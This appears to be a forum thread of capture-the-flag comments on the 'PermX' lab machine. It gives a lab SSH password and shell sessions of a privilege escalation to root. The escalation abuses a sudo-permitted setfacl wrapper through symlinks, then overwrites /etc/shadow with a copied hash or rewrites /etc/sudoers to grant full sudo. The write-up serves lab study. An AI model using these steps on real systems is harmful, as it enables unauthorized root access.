[trevor69000]

Easy 

---

ssh mtz@permx.htb  password: 03F6lY3uXAP2bkW8

mtz@permx:~$ ln -s / root mtz@permx:~$ sudo /opt/acl.sh mtz rwx /home/mtz/root/etc/shadow mtz@permx:~$ nano /etc/shadow after the overwrite the root password with the password(which is the hash) of mtz it might say text file is not writeable but you can cause we have altered the permissions mtz@permx:~$ su root Password: 03F6lY3uXAP2bkW8 root@permx:/home/mtz# id uid=0(root) gid=0(root) groups=0(root)

this is how the shado file must look after the changes echo 'root:$y$j9T$RUjBgvOODKC9hyu5u7zCt0$Vf7nqZ4umh3s1N69EeoQ4N5zoid6c2SlGb1LvBFRxSB:19742:0:99999:7::: daemon:*:19579:0:99999:7::: bin:*:19579:0:99999:7::: sys:*:19579:0:99999:7::: sync:*:19579:0:99999:7::: games:*:19579:0:99999:7::: man:*:19579:0:99999:7::: lp:*:19579:0:99999:7::: mail:*:19579:0:99999:7::: news:*:19579:0:99999:7::: uucp:*:19579:0:99999:7::: proxy:*:19579:0:99999:7::: www-data:*:19579:0:99999:7::: backup:*:19579:0:99999:7::: list:*:19579:0:99999:7::: irc:*:19579:0:99999:7::: gnats:*:19579:0:99999:7::: nobody:*:19579:0:99999:7::: _apt:*:19579:0:99999:7::: systemd-network:*:19579:0:99999:7::: systemd-resolve:*:19579:0:99999:7::: messagebus:*:19579:0:99999:7::: systemd-timesync:*:19579:0:99999:7::: pollinate:*:19579:0:99999:7::: sshd:*:19579:0:99999:7::: syslog:*:19579:0:99999:7::: uuidd:*:19579:0:99999:7::: tcpdump:*:19579:0:99999:7::: tss:*:19579:0:99999:7::: landscape:*:19579:0:99999:7::: fwupd-refresh:*:19579:0:99999:7::: usbmux:*:19742:0:99999:7::: mtz:$y$j9T$RUjBgvOODKC9hyu5u7zCt0$Vf7nqZ4umh3s1N69EeoQ4N5zoid6c2SlGb1LvBFRxSB:19742:0:99999:7::: lxd:!:19742:::::: mysql:!:19742:0:99999:7:::' > /etc/shadow

[Animagus]

Am I missing out on something?
----------------------------------------------********************-----------------------------------------------------

mtz@permx:~$ ls -lah
total 36K
drwxr-x---  4 mtz  mtz  4.0K Jul 17 15:53 .
drwxr-xr-x  3 root root 4.0K Jan 20 18:10 ..
lrwxrwxrwx  1 root root    9 Jan 20 18:12 .bash_history -> /dev/null
-rw-r--r--  1 mtz  mtz  220 Jan  6  2022 .bash_logout
-rw-r--r--  1 mtz  mtz  3.7K Jan  6  2022 .bashrc
drwx------  2 mtz  mtz  4.0K May 31 11:14 .cache
lrwxrwxrwx  1 root root    9 Jan 20 18:37 .mysql_history -> /dev/null
-rw-r--r--  1 mtz  mtz  807 Jan  6  2022 .profile
lrwxrwxrwx  1 mtz  mtz    1 Jul 17 15:53 root -> /
-rw-rw-r--+ 1 mtz  mtz    44 Jul 17 15:42 script.sh
drwx------  2 mtz  mtz  4.0K Jan 20 18:10 .ssh
lrwxrwxrwx  1 mtz  mtz    27 Jul 17 15:53 sudoers -> /home/mtz/../../etc/sudoers
-rw-r-----  1 root mtz    33 Jul 17 15:34 user.txt
mtz@permx:~$ sudo /opt/acl.sh mtz rwx /home/mtz/root/etc/shadow
Target must be a file.

[lrock]

mtz@permx:~$ sudo -l Matching Defaults entries for mtz on permx:     env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User mtz may run the following commands on permx:     (ALL : ALL) NOPASSWD: /opt/acl.sh mtz@permx:~$ cat /opt/acl.sh #!/bin/bash if [ "$#" -ne 3 ]; then     /usr/bin/echo "Usage: $0 user perm file"     exit 1 fi user="$1" perm="$2" target="$3" if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then     /usr/bin/echo "Access denied."     exit 1 fi # Check if the path is a file if [ ! -f "$target" ]; then     /usr/bin/echo "Target must be a file."     exit 1 fi /usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target" mtz@permx:~$ ls -l /opt/acl.sh -rwxr-xr-x 1 root root 419 Jun  5 11:58 /opt/acl.sh mtz@permx:~$ ln -s /etc/sudoers ./privesc mtz@permx:~$ sudo /opt/acl.sh mtz rw /home/mtz/privesc mtz@permx:~$ ls -l total 16 -rw-rw-r--  1 mtz  mtz  3 Jul  9 17:51 oi.txt lrwxrwxrwx  1 mtz  mtz 12 Jul  9 19:27 privesc -> /etc/sudoers -rwxrwxrwx+ 1 mtz  mtz 60 Jul  9 14:52 rev.sh -rw-rw-r--+ 1 mtz  mtz 51 Jul  9 18:37 safe_file ----rwx---+ 1 mtz  mtz  0 Jul  9 14:51 test.txt -rw-r-----  1 root mtz 33 Jul  9 07:05 user.txt mtz@permx:~$ nano privesc @includedir /etc/sudoers.d #mtz ALL=(ALL:ALL) NOPASSWD: /opt/acl.sh mtz ALL=(ALL:ALL) NOPASSWD: ALL mtz@permx:~$ sudo su root@permx:/home/mtz# whoami root root@permx:/home/mtz# id uid=0(root) gid=0(root) groups=0(root)